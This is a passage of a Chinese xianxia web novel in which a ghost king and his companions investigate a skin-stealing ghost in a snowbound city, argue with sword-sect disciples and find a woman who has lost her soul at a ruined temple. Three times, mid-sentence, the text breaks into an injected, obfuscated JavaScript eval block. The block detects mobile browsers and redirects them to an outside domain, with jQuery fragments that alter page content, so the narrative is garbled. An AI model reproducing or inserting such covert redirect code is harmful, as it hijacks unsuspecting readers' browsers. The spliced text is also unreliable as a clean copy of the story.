但如若对方是只恶鬼,那修为就得放在最末,而其生卒详年、因何作祟才是破邪的重中之重。
鬼因念起,若念不消,难以磨灭。
但这尚且好解决,真正棘手的,自然是万鬼之王——但凡作恶之鬼投靠鬼王连绝,那就全完了。
所以,一地祸乱之时,修士们最头疼的即是作恶之鬼。
今次亦是。一个月已去,万剑宗只知此恶鬼是一只杀人食魂,时时换皮、夺皮的批皮鬼。
而上述所言棘手、要紧之事,则一个没查出来。
生卒详年,不知,因何作祟,不知,是否投靠鬼王,仍然不知。
蜻蜓深切评价道:“废物万剑宗。”
“废不废物先放在一边,”月情抱着寒烟抬头看天空中飘落的大雪,古怪道:“我记得如今是八月上旬。”
八月上旬为盛夏时节,卢嘉城靠近海岸身处东南方,又并非地势高峻险要之地,天上却飘飘忽忽地在落雪。
她微仰着脸,接到雪花,却并非是冰冷的寒意,而是温热的触觉。
月情微微一怔,“这雪不冷。”
蜻蜓早有了解,“因为是天生异象。根据记录,十六年前天下第一散修叶凝冰,她蕴有极寒之力,身死那一刻,体内灵气异变,竟牵动天象,至此,不论严冬盛夏,东南方皆是一派雪景。”
“叶凝冰?”月情重复。
她抬眸看向缩成一小团的少宗主,后者听到这个名字动了一下,但却没有吭声。
蜻蜓点头道:“叶凝冰是新历以来修仙界唯一一位突破化羽巅峰境的修士,在十六年前,于抵抗妖族进犯中牺牲了。”
月情心中更古怪了,不由道:“化羽巅峰境按理而言应该天下无敌手,她怎么会轻易殒身?”
蜻蜓面色微微变化,下意识看了眼连绝,后者神色冷淡,一直未曾言语,不知是否有在听。
他额了下,含含糊糊揭过道:“这件事情说来话长,况且妖族也有不少厉害的大妖,她纵然再厉害,也不可能一人覆灭整个妖族。”
月情的目光落在他身上,又缓慢移到了连绝身上,两相转换之下,唇角微抽。
叶凝冰殒身也与连绝有关?
这夫妻俩就绕不开他了?
正想着,他们已经到了卢嘉城外,几位玄衣修士卡着城门,正是万剑宗的修士,除他们之外,城里城外还有不少喧哗争吵的民众。
月情听了一阵子,才知道这些民众是两拨人,一群是一直待在城里可能被批皮鬼所替的城民,一群则是活生生、干净净未被批皮鬼沾染的城民。
万剑宗修士在中间将两拨人分开,城里的不论是谁一个都不准放出去,当然,外面的也绝不准进去。
又因城外的也是卢嘉城城民暂时无处可去,他们商议后便在不远处修葺了些草棚与修士们一同暂住。
此举却是把城里的大老爷、达官贵人看得眼珠子红到滴血。
卢嘉城里的批皮鬼还没揪出来,谁也不知道下一个死的是不是自己,可那群平日被他们最是瞧不上的泥腿子、乞丐居然不必担惊受怕还能安全地和修士待在一起。
这下是人人都要疯!
平日气度非凡,优雅从容,保养得当的人纷纷面容丑恶,急不可耐,一个挤着一个,争着抢着要砖出去,哪怕是去住他们从不能看上眼的草棚,那也是心甘情愿生怕慢了一步。
“大师兄下了死命令,不许任何人出城,”一修士冷冷开口,拇指推开剑鞘,银光凌厉而过,不耐道:“如若再有人故意煽动、扰乱秩序,休怪我以此祭剑。”
他脸色沉冷,眸光锐利,虽然年纪轻轻,但显而易见是动过手,杀过人的,一时间,唬住了大半的人。
却闻一声冷笑,嘲讽,“好威风啊。”
那修士一回头,正对上神色不虞的蜻蜓,他面无波澜,冷淡道:“你们又是谁?”
因为老黑的事蜻蜓对这些欺强凌弱的修士没一个好脸色,冷哼一声,从兜里翻出了一玉质令牌。
月情瞥了一眼,正面乃是一鎏金的伤字,而反面是什么形制她并未看清。
不过那几位本脸色不好的玄衣修士见其令牌却皆是一变,挤在城里出不去的民众也呆了呆,紧接着,欣喜若狂,“是无伤阁,是无伤阁的使者来了!我们有救了!”
少宗主也惊道:“无伤阁?怎么会是无伤阁?!”
她卡在话头里,整个世界都受到了巨大的冲击。
月情瞧着眨了下眼,抱剑在后边看,反应过来是什么情况后,心中感到阵阵讽刺。
所有人都唾骂鬼王,这世间但凡有恶鬼作乱即是鬼王扶持、豢养的手下,可他真正的手下,却又手持一无伤阁令牌,受众人欢呼拥簇,如救苦救难的救世主。
蜻蜓也十分有范,正义凛然道:“卢嘉城中事我们已有所耳闻,今次是来相助,斩那杀人食魂的批皮鬼!”
话落,万剑宗修士眼中划过诧异,众所周知,无伤阁虽然也时常因邪祟祸乱地方而出手相助,但大多是钱、灵石、防身的各种机关人,阁中人主动现身相助的,这还是他们第一次见。
虽然意外,但无伤阁已经建立了五十五年,信誉一直良好,备受崇敬,几位修士不疑有他,验过令牌后便恭谨地请他们入城。
那群城民立即殷殷切切地围上来,热情请他们去城中酒楼一坐,蜻蜓一一婉拒,只是客气说着一定不会辜负他们,早日将批皮鬼斩除云云。
月情手中丢着小小冰球,瞧着众人之间,难得逃出来的蜻蜓,眼中浮现出丝丝缕缕的淡笑。
她漫不经心问,“这无伤阁究竟是个什么组织?”
蜻蜓掸了掸黑色披风,解释道:“是风宁兜售买卖的地方。”
月情接住高空而落的小冰球,了然地哦了声,笑意渐深了一些。
原来平日里最喜欢喊打喊杀的风宁才是大家心目中的救世主,她忽而觉得,这群鬼怪有意思的。
不过也不奇怪,毕竟是连绝的属下。
连绝骨子里就是热爱伸张正义,甚至有几分英雄病的少年,月情甚至因为他这热血上头的性子头疼过,为之与他细细长谈。
而今他为鬼王,虽然性情薄冷,但热血难凉,一如她所认知的他。
月情转目看向连绝,眸中光彩盈盈,后者微顿了一下,不明所以。
她有意打趣道:“想不到大王你还有两幅面孔,一面假装穷凶极恶为臭名远扬的鬼王,一面是大家心目中惩恶扬善的无伤阁阁主。”
蜻蜓闻言呆了一下。
连绝眼中则划过一说不清道不明的情绪,他淡声道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955475|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“无伤阁与我无关,我从未听说过。”
月情:“?”
她看看连绝,又看看蜻蜓,神色古怪,“所以……”
蜻蜓卡顿了一下,脸色微微发白,汗流浃背,道:“大王!无伤阁这件事我们没有故意瞒着你,也绝对没有对照你的意思啊,大王,我忠心耿耿啊!”
连绝闻言冷冰冰地看着他,“是吗?”
蜻蜓欲哭无泪,一个劲点头,道:“千真万确啊大王,无伤阁这件事见云山所有鬼都知道,月师傅纵然才来了半个月也所知一二。”
月情还真听他提过一嘴,神色愈发古怪,不由点了点头。
蜻蜓松了口气,苦哈哈道:“大王,你看,我们真的没有故意瞒你……”
话还未说完,却闻面前人冷呵一声,沉眉不虞,兀自下结论道:“你们在孤立我。”
蜻蜓刚松的一口气欻地声又提上来,惊得一对眼珠子都要蹦出来。
什么样冰冷的嘴能说出这种没有鬼性的话?!
他可谓是叫天不灵叫地不应,天下奇冤,“我哪敢啊,分明是大王你凭一己之力孤立我们所有鬼……”
连绝不听,抿着唇表情沉冷,已经认定了他们孤立他的罪责。
蜻蜓隐隐崩裂,对上连绝不善的眼神后,膝盖一软差点跪在地上,顿了顿,他又急切道:“我有证据可证清白!”
说着,他面色沉肃,视死如归,缓缓从袖中掏出了一枚圆镜,正是那令净月宗等人闻风丧胆之物——行云通天境。
月情与少宗主同时一顿,纷纷打起十二分的精神。
而见镜中,正是见云山极阴大殿,连绝就坐在长桌尽头处,一手支头,长发掩面,闭目修养。
片刻后,里面传来极轻、极低的声音。
这是蜻蜓惊慌的声音:“你真是疯的不轻了!”
这是风宁有恃无恐的声音,“别慌,嘻嘻,我早就发现了,大王天天不是发呆就是睡觉,你和他说话他都不理你,不,应该说你当着他的面骂他他都不知道。”
这是蜻蜓难言的声音:“风宁,你真是个人物。”
杂乱一阵后,在风宁浑身是胆的操作下,四大护法纷纷相信了这一点。
紧接着,镜中就出现了连绝或低头发呆,或双目无神,或闭目而睡,或趴桌沉眠等等画面。
而他的背后,往往有秋苑不经意捧花路过的惊艳回眸,重影双手合十贴在脸边摆出睡觉姿势的安心笑容,蜻蜓神色僵硬被迫拿着纸站在一旁指他,所书:“见云山必拍景点”的珍贵一幕。
当然少不了风宁,而他也不愧是修仙界最招打的鬼,是费尽心机地卡出一个前后重合视角,一脸欣慰地用手抚着连绝的头,好似那看着儿子成器的老父亲,而脸上,还隐隐有感动的泪水缓缓滑下。
“……”
除此之外,还有不少形状各异的小鬼皆在这必拍景点后留下了自己最兴奋又最惊慌的一幕。
甚至后来大家都不躲到背后了,正正当着连绝的面留下了无数“证据”。
蜻蜓振振有辞道:“事实证明,就算我们当着大王的面说话动作他也听不见看不见,所以,孤立人的是他,不,他已经不能称之为孤立,因为他根本就目中无人。”
月情看着那圆镜,手中的冰球已经啪嗒一声砸落在了雪地上。
好半晌,她又深深佩服道:“蜻蜓,你也是个响当当的人物。”
蜻蜓一滞,就对上了鬼王阴沉危险冰冷的眼眸。
他:“……”
丸辣!
33. 见悲欢(三)
卢嘉城中十分寂静,只余轻轻风声与微微落雪声。
月情走在长街最前方,在雪地上留下一串脚印。她眺望到前边街巷有一处酒肆,招牌上正写着五文一坛的桃花酒,一眼过去,微微发黄发暗,瞧着甚是有年头了。
连绝走在最末,任由大雪淋淋落落,无声而无息,未在雪中世界留下任何痕迹,唯缓缓跟着她,神思漫漫。
蜻蜓则滚在中间,宛如黑色煤球,费劲地深埋在雪中,笨拙地拱着拱着,在长街清出一条长长的雪坑。
因城中批皮鬼一事,酒肆的木门上正张贴着几张符文,皆有朱砂所写伤字矣。
而店内几乎挤满了人,但大都坐在地上抱团瑟瑟发抖,低低而泣。
月情推门而入,觉察到许多窥视的目光,顿了顿,才问道:“小二,可还有桃花酒?”
她平素喜欢小酌一杯,尤其是天冷的时候,虽然这卢嘉城的大雪是温热的,但雪景小炉煮桃花酒,也格外地有意境。
茶点先行而上,此处只有几种可以选,不过月情也不怎么挑食,随手捏了一块山药枣泥糕喂到了嘴边。
黑色煤球则费劲跳到桌子上,努力挣出两只黑乎乎细而长的手,就要捧起一块糕点,那一整碟子忽而飞走,他呆了呆,又双手撑桌,悲痛地对着连绝一拜再拜可谓是八拜九叩,只为求他原谅。
但滚圆黢黑的煤球只会让人觉着滑稽,看不出任何诚意。
月情忍不住噗嗤一声笑了,煤球又连忙转过头来拜她,双手合十,好似在说行行好、救救命,请她美言一二句。
她便敛了笑意,温声道:“大王,这煤球虽然有错,但想来给他一千一万个胆子他也必不敢做这等事,就饶他一次罢。”
连绝闻言微微落下眼尾,并未应声,却是默许了。
蜻蜓顿时热泪盈眶,无比辛酸,为了以防吓到旁人,他特意走远了些变回人形,待回来一坐,正要抱碟子吃糕饼,却发现一个都没了!
月情冲他嘻嘻一笑。
蜻蜓:“……”
而这空档,一行着玄衣的少年弟子从外披着大雪而进,为首的正是那天在青云城有过一面之交的苏洛然。
他扬声道:“小二,先上三壶桃花酒。”
他们一进来就吸引了茶楼里所有人的注意,大伙低声窃窃私语,过了会儿,有人高声问:“是万剑宗首席弟子苏洛然苏仙师吗?”
苏洛然顿了下,不少惊惶之人已经拥到了他面前,纷纷挤着问城里的批皮鬼究竟是怎么一回事。
他拱手相拜,沉声道:“卢嘉城批皮鬼一事我已有耳闻,今次定然斩此恶鬼,还大家太平。”
他明显在此处颇有威望,说话也很有分量,大家听此后皆道苏仙师必然不会骗人云云,冷凝的气氛也活络了几分。
苏洛然意欲落座,却意外看见月情一行人,他的眼眸顿时一亮,惊喜道:“少宗主,还有这位道友也在。”
他的眸光落在二人身上,似乎明了了什么,眼中有奇异之光,“你们莫非是已经……”
月情没料到他在这里,一怔,意识到他要说什么,赶紧打断,“咳,好久不见,请坐,请坐。”
苏洛然应声而坐,又道:“自青云城一别却没想到会在此处重逢,而我作为地主,理应要请你们喝酒才是。”
他笑着道,可谓十分不见外,一边招小二过来抢着买单,一边又热情地介绍起卢嘉城的各色美景、美食,还贴心地补充情眷相伴前往有大力折扣,推举他们两人前去游玩。
蜻蜓听着听着怎么就觉得不对劲了呢,他道:“这位小哥,我们有三个人。”
苏洛然难得卡壳,看向月情的眼神隐隐变化,逐渐惊异且逐渐佩服,“少宗主果真是不同凡响,一鸣惊人。”
月情:“……”
少宗主:“……”
他难言道:“虽然我还未见过三个人,但既然你们仨真心而定,毫不介意,那我只能尊重祝福。”
蜻蜓终于吃到热腾腾新鲜的山药枣泥糕,心情甚好,笑应道:“那多谢了。”
苏洛然闻言更加热情,完全忘记自己是来干什么的,不住地向他们推荐三人一定要去的地方等等,可谓是口若悬河,滔滔不绝,让月情几次三番想插嘴都找不到机会。
“大师兄,”他身后一面若好女的少年受不了地蹙起高眉,嫌弃道:“别念叨了。”
苏洛然被如此毫不客气地下面子,却也没生气。
显而易见他早已习惯,又介绍道:“少宗主,这位是我师弟章昱,章昱,这位就是当今少年弟子第一人的净月宗少宗主月晚。”
章昱看了她一眼,抿唇不语,只微微压下杏眼,抬手拜了一礼。
月情回了一礼,终于等到空档能开口,且笑着强调道:“我们三人无一不是来办正事的,没有人要去游玩,而且,也没有那种令你尊重祝福的关系。”
他这才恍然,随之肯定道:“你们一定也是为批皮鬼一事前来吧。”
桃花酒已经煮好,散发着腾腾热意,月情倒了一盅,又问道:“你们在此地查了一个月,有什么眉目?”
苏洛然顿了顿,为了不引起慌乱,他着手将一方名为“寂”的法器搁置上桌,慎道:“我怀疑是鬼王豢养的手下所为。”
此言一出,桌上一滞。
月情刚含在嘴里的桃花酒险险喷出来,蜻蜓的表情也一变,气氛陡然急转直下,窗外的大风啪啪作响,整个茶楼都诡异寂静起来。
连绝掀开眼皮,恹恹道:“不是他。”
是陈述句。虽然语气十分平静甚至浅淡,但落入耳中,仍像有十足的把握。
苏洛然等人不由一愣。
这位紫衣少年明明年轻又话少,但不知道为什么,教人不敢轻视,甚至不容质疑。
众人欲言又止,一时片刻未有出声。
月情则敏锐地感受到他有些不高兴,不由抿了下唇,偏目过去,蜻蜓明显也意识到了。
他表情难看,狠狠咬了口枣泥山药糕,嚼嚼嚼,阴狠地发出极大的声响。
那章昱见此,扯了下眸子,嫌弃地退了一二步。
他神色一僵,啪地声拍桌,率先呛声道:“你有什么证据敢说那批皮鬼是鬼王的手下?”
章昱闻言冷哼了一声,脾气极差,脸色极臭,哐当将剑拍在桌上,道:“鬼王天生就杀人无数,这分明是他一贯的作风,证据?他的现世就是证据!”
蜻蜓再度拍桌,起身而立,身形比之少年高出一截,瞥眼俯视道:“说了一大串不就是没有证据在胡说八道。”
“你!”章昱恼羞成怒,无形中矮了一截,他怒而再拍桌,木桌咔嚓一声而碎,桌上的茶点酒壶摇摇欲坠。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959280|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月情端坐一旁,抬手将酒壶捞回来,微笑道:“我知道了,这修仙界不论出了什么事,但凡谁家死了人,谁家丢了魂,一一皆是鬼王所为。既然如此,那咱们赶紧收拾收拾回家洗洗睡吧…这位章仙师,你瞪我也没用,我说得可是掏心掏肺的好心话,你若是不信若是不服你就上。”
蜻蜓抱胸呵呵嘲讽道:“他敢上就敢死,且别说鬼王,他连风宁都过不去。”
章昱的脸色阴沉至极,原先昳丽的面目逐渐扭曲,竟直接拔剑,所指二者,怒骂道:“你们欺人太甚!”
店内人虽听不清他们说话,却能看见他拔剑,一时间都看过来,面露恐惧之色。
章昱一僵,又将剑生生按了回去,只抿唇冷哼了声,仍旧气势不减,剑拔弩张。
苏洛然见此,连忙拉住他,又苦口婆心地劝解双方重新坐下。
他道:“我并非是随意揣测的,实在是最近发生的事太过凑巧了些。鬼王诞生已有七十七年,这几十年来除开风宁,从未有过他的任何消息。
可修仙界最近却突然冒出了一股青云城即将举行万鬼盛宴的流言,一时间闹得满城风雨,后来的情形你我也知道了,不少修士去了便葬身于此,我也是侥幸逃脱……而卢嘉城里这只批皮鬼,又恰好在我们前去青云城的节骨眼上冒出,实在是太过巧合,如若不然,他不可能伤到如此多的人。”
连绝意识到什么,微微偏目,暗沉的目光渐渐落在蜻蜓身上。
后者一口枣泥糕噎得脖子差点哽出去,虚虚发汗。
他连忙咽了好几口茶水,缓过劲来,又毫不犹豫地出卖道:“一听就知道是风宁传出来的流言,他最喜欢做这种事。”
苏洛然想到因这流言而深陷青云城的一幕幕,也不由点头,那回忆实在算不得美妙,的确是恶鬼风宁最好玩弄人心的手段。
月情道:“既然是万鬼盛宴,想必鬼王的手下皆在其中。而这只批皮鬼,不过是闻风雨声浑水摸鱼的一只罢了。”
苏洛然闻言点头道:“少宗主所言有理。”那章昱听此也偏头看了她一眼。
他又信服地问她,“少宗主还有什么看法?”
月情没什么看法,摸着酒杯想了想,才道:“既然这批皮鬼只在卢嘉城作乱,定然是因此地特殊,或者说此地的人特殊。仔细想想,卢嘉城里有没有什么难解难消的恩怨情仇,或者是经年不变的陋俗恶俗,而这其中,害死、枉死过人,以至怨气深重酿此大祸。”
苏洛然沉思了一会儿,目光落在她身上,“恩怨情仇还真有一桩,可谓是名动修仙界。”
月情见他看自己,摸酒杯的手顿在原地,“与我有关?”
苏洛然点头,道:“十六年前,凝冰仙子与当时的月宗主正是在卢嘉城长虹桥边一刀两断。”
他道:“有人亲眼所见,那凝冰仙子毁了月宗主的本命剑——长明剑,还打伤了月宗主。”
月情怔然,抬目看向少宗主。
后者呆了呆,咬唇闷气,又道:“谣言!谣言!全都是谣言,他们两个从来都没有一刀两断过,只是、只是…我爹打不过而已,不小心才把长明剑毁了。”
说着说着,她的声音渐渐变小,渐渐心虚,却又扬声强调道:“从未一刀两断!”
那看来是真的一刀两断了。
月情喝了一大口酒,压了压惊。
34. 见悲欢(四)
正这时,桌上搁置着的破邪盘忽而震了震,苏洛然抄起剑即起身,回头急喝道:“东南方向!”
万剑宗弟子们眉目一凛,话音落,即如一道道黑色旋风,一脚踹破大门,冲着东南方向飞速出击。
只遥遥传来一句,
“门记我账上!”
月情慢慢咽下酒水,看着摇摇欲坠的大门,道:“既然他们已经去逮批皮鬼了,那我们也不必着急,先去找那残魂小鬼的尸身吧。”
近一个月来,凡是因批皮鬼所害之人皆因种种忌讳未曾下葬,如今则全部安置在由万剑宗规划而出的义庄内。
一人二鬼一残魂穿过破门而往。
月情出门时还提了一小壶桃花酒,有滋有味地咕嘟了一大口,余光觉察到连绝的目光,凑近笑道:“这桃花酒虽然才五文钱,但又甜又香,入口清爽不辛辣,味道甚是不错。”
连绝的目光落在桃花酒上,只瞧了一眼,又毫无感情地移开了。
月情看着他冷漠的背影,嘴角的笑意顿时无影无踪,她心内不爽,撇唇攥起一团拳头大小的雪球。
少宗主抱胸道:“有本事你就真砸。”
她喝桃花酒,道:“我没本事,但我会耍酒疯。”
说着,月情就亮着眼睛攥紧雪团,甩手一扔,连绝并未回头,却恰好错了一步,未有命中。
她看着他的背影,微微咬唇,再度攥起一团雪,正要扔出去,他却偏目过来,正正看着她。
月情狡黠扬眉,就冲着他的脸砸去,这次,他歪了下头,雪团擦过发丝坠在了角落里。
她来了劲,抬手一扬,十团雪团腾空而起,连绝则面无表情地看着她,月情哼了声,刚要继续,天空中忽而多了一道偌大的影子,她抬眸,街上、屋顶、旮旯角落里,所有的雪凝聚成一个球,正正悬在她头顶。
月情:“……”
不知道怎么回事,酒突然就清醒了。
她立马老实,一把将雪球扔到了河中,又一派正色道:“这批皮鬼看起来十分难缠啊,万剑宗一个月了也没调查出什么有用信息,也不知道修为几何。”
她说着说着挪到连绝身边,见他微微落眸目光定在自己身上轻移,又轻轻一笑,温声细语地问,“大王能觉察出来吗?”
连绝看见她睫毛上柔软的雪丝,又迎上她抬起脸盈盈而笑的眼,他缄默着移开,只低声道:“化羽。”
月情脸上的表情微微一滞。
乐得看热闹的蜻蜓也顿在原地。
一人一鬼几乎一瞬间就下定了决心,不谋而合,毫不留恋,转头就走。
少宗主:“……”
连绝看着二者的背影,又冷静地补充,“它受了很重的伤,不是你我的对手。”
一人一鬼微微停步,又同时忍不住出声谴责。
月情道:“大王,你这句话实在是很有歧义。”
蜻蜓道:“可以更明确一些,如它受了很重的伤,是你们的对手,但不是我的对手。”
连绝忽略他们俩的话,隐有所感,“卢嘉城里的批皮鬼应不是它,或者说,不是完整的它,所谓的杀人食魂,应是在供养它。”
月情噢了一声,“难怪万剑宗杀了一只又冒出一只,原来都是小喽啰,真正的大老虎在后边猫着。”
连绝点头。
蜻蜓道:“化羽境又不是大白菜,但凡出现一个修仙界就得震一震,那叶凝冰本就是意外,怎么现在又平白冒出了一个?”
他道:“这群大能现在都这么低调吗?”
月情指出道:“最强的不一定能活到最后,但最苟的一定能混到最后。”
蜻蜓闻言,由衷慨叹道:“举世哲理。”
一人一鬼对视,眼珠微动,都不由自主地后退了一步。
蜻蜓率先出声,“大王,我们就不给你拖后腿了,只祝你一举斩恶鬼、一帆风顺、马到功成。”
月情紧随其后,“作为你坚实的后盾,我们则会在见云山为你加油鼓劲,为你献上满满的祝福。”
话落,世界空荡而寂静。
一阵森森鬼气隐隐而发。他俩试探抬头,就对上了一如墨似渊的死亡眼神。
二者:“……”
未过一秒钟,又纷纷从心而败,收起嘴脸,抢着要为连绝闯刀山、下火海、战今生!
连绝看着争先恐后表忠心的二者,眼眸轻动,抿唇片刻后才轻声说:“不许孤立我。”
那声音轻飘飘的,传过来时像是不可轻闻的梦呓。
月情看向他,连绝的眉眼有些孤冷,正立在不远处瞧着他们,明明冷冰冰地有些拒人于千里之外,却偏偏轻轻念着这样的话。
她眼眸轻动,踩着雪拉近与他的距离,在他的注视之下,突然一把薅住了他的胳膊将其紧紧挽住。
连绝:?
她仰起脸,灿然而笑,“我们当然不会孤立大王,还要紧紧缠着大王!”她说着,又回头,“蜻蜓,快过来!”
蜻蜓已经惊呆了,傻眼地看着这一幕,抬头见,连绝也怔然在原地,全身僵硬一动不敢动,冰冷的脸上唯有局促、无措。
月情回头冲蜻蜓示意。
后者这才反应过来,张大嘴,试探地靠过来,小心薅住连绝另一只胳膊。确认他没有生气,蜻蜓立马放开,叫道:“大王,这次你想冤枉我孤立你也没有机会了!”
连绝:“……”
虽然但是,也不必如此热情。
……
片刻钟后,天空中的雪更厚重了一分,洋洋洒洒,已经没过了脚踝。
一人两鬼踩着雪,原本清晰而泾渭分明的痕迹,变成了歪歪扭扭又斜斜相交的杂乱脚印。
连绝别扭抬眉,道:“前面似乎有人在吵架。”
月情顺嘴道:“就算前面有人在打架我也不会放过你。”
蜻蜓诶了声,道:“真的有人在吵架。”
她偏头瞧了眼,所见路边有一玄女庙。
能看出之前修建时的阔气,但现下已然破旧不堪,不仅如此,那牌匾竟也被砸碎了,看来早已废弃不堪用了。
正这时,那扇厚重的朱红色大门忽而震动起来,像有人在大力地撞击,里面则传来不少人怒骂的声音,但还是抵不过那人的力道,倏然一下,厚重木门猛地被撞开,从里跌跌撞撞扑出来一个脏兮兮的女人。
她重重摔在了地上,脸上和手上沾着泥和雪,狼狈不堪地挣扎着扒着门槛,手上的皮肉全部被她自个刨烂了,从指缝里渗出血丝,瞧着痛得厉害。
门后有声音恨道:“是谁把她带过来的?你们是想被她害死吗?!”
“…她本来就在庙中,”一道反驳的声音由低到无,渐渐无影无踪。
有人怒斥一声,低咒道:“把门关上!别让她进来!”
这次没人再吭声,可那女人还趴在门槛上,神志不清地抱头挣扎。
不多时,那黑暗里即伸出几只脚来,重重地踹在她的背上,下下用劲,要把她活生生踹出去。
蜻蜓见此怒喝道:“住手!”
屋子里的人看见他是悚然一惊,顾不上那未完全爬出去的女人,立即就抓紧朱红色沉重的木门重重往上合。
月情掠身而近,一掌抵在了门上,让他们合不上聚不拢,又跨过门槛,从外而入,一举压过里面的所有人。
她看着庙中警惕、惊惶、不敢与她对视的眼睛,又看向那朱红色木门上抵御批皮鬼的金色符文,深觉讽刺,扯唇道:“怎么,想杀人吗?”
庙中之人听到她这么说,呼吸声陡然而重,一双双眼睛又惧又红,但看到她一人抵众人之力,腰间又挂佩剑,皆不再敢如对待那女子一般对待她。
但还是有人忍不住压声反驳道:“是她…是她自己要出去的。”
月情意外地瞧了眼那人,眸色更深了一分,道:“欺负人就欺负人,杀人就杀人,既然敢做,就别不敢应。”
“你……”庙中人欲怒又止。
蜻蜓将雪地里的女人扶起来,见她痛苦挣扎不停,面色凝重。
他慌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965708|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱问,“她这是怎么了?”
无人回答。月情微压嗓音,道:“说话。”
庙中一静,有人惧中生怨道:“她中邪了!自己活不了也就罢了,又在这里撞门破坏符文,还想把我们也害死!你们自以为是路见不平,伸张正义,呵,说不准以后变得和她一样,生不如死!”
月情抱剑靠在一边,敏锐道:“变得?什么叫变得?”
说到这个,庙中人底气一足,好似自己更有理了,道:“就是变得,如若不是中邪,短短一个月她怎么会疯成这样?听不清人话整天神神叨叨,不知道在海上瞧见了什么东西,你们还敢靠近她,小心那东西也缠上你们!”
一个月前,这女子出事是一个月前,不偏不倚,与那残魂小鬼来到见云山的时间相差无几。
“她从哪里出海,又从哪里回来撞了邪?”
“还能是哪儿,原来的港口,长桑港。”有人怨气冲天道。
月情喃喃自语,若有所思,“长桑港……”
过了一会儿,一个圆脸小姑娘不忍心地走出来,对月情道:“这位仙子,就是这条河,一直往东走,可以看见长桑港,以前远远就能看见货船,可热闹了,一路东去可以走很远的海路,但现在冰层很厚,几乎已经废弃了。
李姑娘应是不小心走远,迷了方向,或者真撞到了不该看到的东西,不然不会变成如今这般模样……”
说着,她叹了声气,甚是忧虑。
月情瞧了眼那碎冰河,一路延伸至城外的海港,而越是往东,大雪越厚,港口边几乎成了纯白的世界。
她回过头,目光重新落在疯癫女子身上。
后者又痛苦又迷糊,不知道自己身在何处,捂住头哀嚎惨叫着,趴在地上,真如中邪了一般。
庙中人纷纷恐惧后退,有人还催她道:“你既然也是修士,身上有没有什么辟邪的东西,赶紧拿出来给她用用!”
月情道:“不管用,她并非是中邪,而是丢魂,已经没救了。”
“丢魂?”众人一颤,面色变化。
“嗯,”连绝目光过了一眼,道:“此人三魂七魄共丢了一魂五魄。”
他道:“这女子应是恶鬼逮住的第一个人,因恶鬼伤重势弱躲过一劫捡了条命,而我们遇到的则是第二个,不仅丢了命,且只剩下一缕残缺的天魂。”
众人闻言皆看向他们一行人,颤声恐惧道:“你是说李香香和赵生他们一样是被那批皮恶鬼吃了是吗?”
连绝沉默了会儿缓缓点头。
“为什么啊,为什么所有地方就咱们卢嘉城出现了这东西,”一人崩溃惨叫着,静默了一会儿,他忽而恐惧而又愤怒地颤声道:“是她?是她吗?”
“一定是她,”一人缓缓而沉沉道。
绝望而又无力。
有人冷笑了一声,“如果不是她,不会下这般大的雪,港口更不会永冻!李香香也不会乱走而遇害。而现在出了这等祸事,她有保佑过谁?”
香台香案被掀翻,残香滚落一地,散发出潮湿的霉味,零零碎碎。
他只冷眼看着,道:“李香香砸她,是因为她不配受香火,她活该。”
月情掀起眼皮。透过些光,她看见一个矮小的罗锅气愤地辱骂,而其余人都没有反驳,包括圆脸的小姑娘。
他们皆有怨念,只是不敢附言。
而深处,朦胧暗光里,他们的脚边倒着一石雕的玄女石像,已经被砸破了半个脑袋,正零碎而孤冷地躺在地上。
这世间的各路神仙皆由人推向神坛,人能供祂为神,自然也能把祂狠狠扯下来。
而这尊玄女天神明显已经令卢嘉城的人不满许久,积怨甚重,以致于疯了的李香香前去打砸根本无人阻拦,甚至于没有疯的罗锅也开始大肆辱骂。
而她盯着那破了半个头的石像,又盯向被砸在地上的匾额,隐隐约约中,终于看清,这座庙所供的是冰天玄女。
月情的心中顿时升起一阵古怪之意。
“这冰天玄女是谁?”
35. 见悲欢(五)
小圆脸小声解释道:“这冰天玄女正是十六年前陨身的叶凝冰叶仙首。”
罗锅嗤笑一声,“什么叶仙首,如若不是她偷了万寿玄天丹能一步至化羽巅峰境?”
他分明并非是修士,说来却头头是道,笃定异常,“新历以来,从没一个修士突破过化羽境,纵然是当年天纵奇才有玉蟾宫全力托举的阿宁也不过问天境。
而她叶凝冰一介散修,与月如金在一起前更是闻所未闻的泥腿子,若不盗宝丹,有她成仙首的机会吗?”
